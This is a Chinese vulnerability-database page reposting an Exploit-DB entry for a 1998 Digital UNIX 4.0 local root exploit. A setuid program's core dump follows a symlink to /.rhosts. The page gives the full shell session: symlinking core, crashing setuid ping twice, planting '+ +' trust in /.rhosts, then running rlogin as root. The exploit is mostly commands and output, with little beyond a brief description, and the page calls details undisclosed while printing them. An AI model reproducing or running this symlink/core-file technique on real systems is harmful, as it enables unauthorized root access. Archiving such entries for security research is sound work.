Digital UNIX 4.0/4.0 B/4.0 D – SUID/SGID Core File

Digital UNIX 4.0/4.0 B/4.0 D – SUID/SGID Core File

漏洞ID 1053363 漏洞类型
发布时间 1998-04-06 更新时间 1998-04-06
图片[1]-Digital UNIX 4.0/4.0 B/4.0 D – SUID/SGID Core File-安全小百科CVE编号 N/A
图片[2]-Digital UNIX 4.0/4.0 B/4.0 D – SUID/SGID Core File-安全小百科CNNVD-ID N/A
漏洞平台 Unix CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19068
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/74/info

Digital UNIX 4.0 will follow symlinks while writting core files if two setuid programs dump core in sucession. The core file is owned by root but with the user's groud id. The core file permissions are 0600. This can be used to create root owned file anywhere in the filesystem.

$ ls -l /.rhosts
/.rhosts not found
$ ls -l /usr/sbin/ping
-rwsr-xr-x 1 root bin 32768 Nov 16 1996 /usr/sbin/ping
$ ln -s /.rhosts core
$ IMP='
>+ +
>'
$ ping somehost &
[1] 1337
$ ping somehost &
[2] 31337
$ kill -11 31337
$ kill -11 1337
[1] Segmentation fault /usr/sbin/ping somehost (core dumped)
[2] +Segmentation fault /usr/sbin/ping somehost (core dumped)
$ ls -l /.rhosts
-rw------- 1 root system 385024 Mar 29 05:17 /.rhosts
##/.rhosts has been created....that's all.##
$ rlogin localhost -l root

相关推荐: Netscape Navigator及Java Developer’s Kit允许程序与任意主机联络漏洞

Netscape Navigator及Java Developer’s Kit允许程序与任意主机联络漏洞 漏洞ID 1207664 漏洞类型 未知 发布时间 1996-03-01 更新时间 1996-03-01 CVE编号 CVE-1999-0142 CNNV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享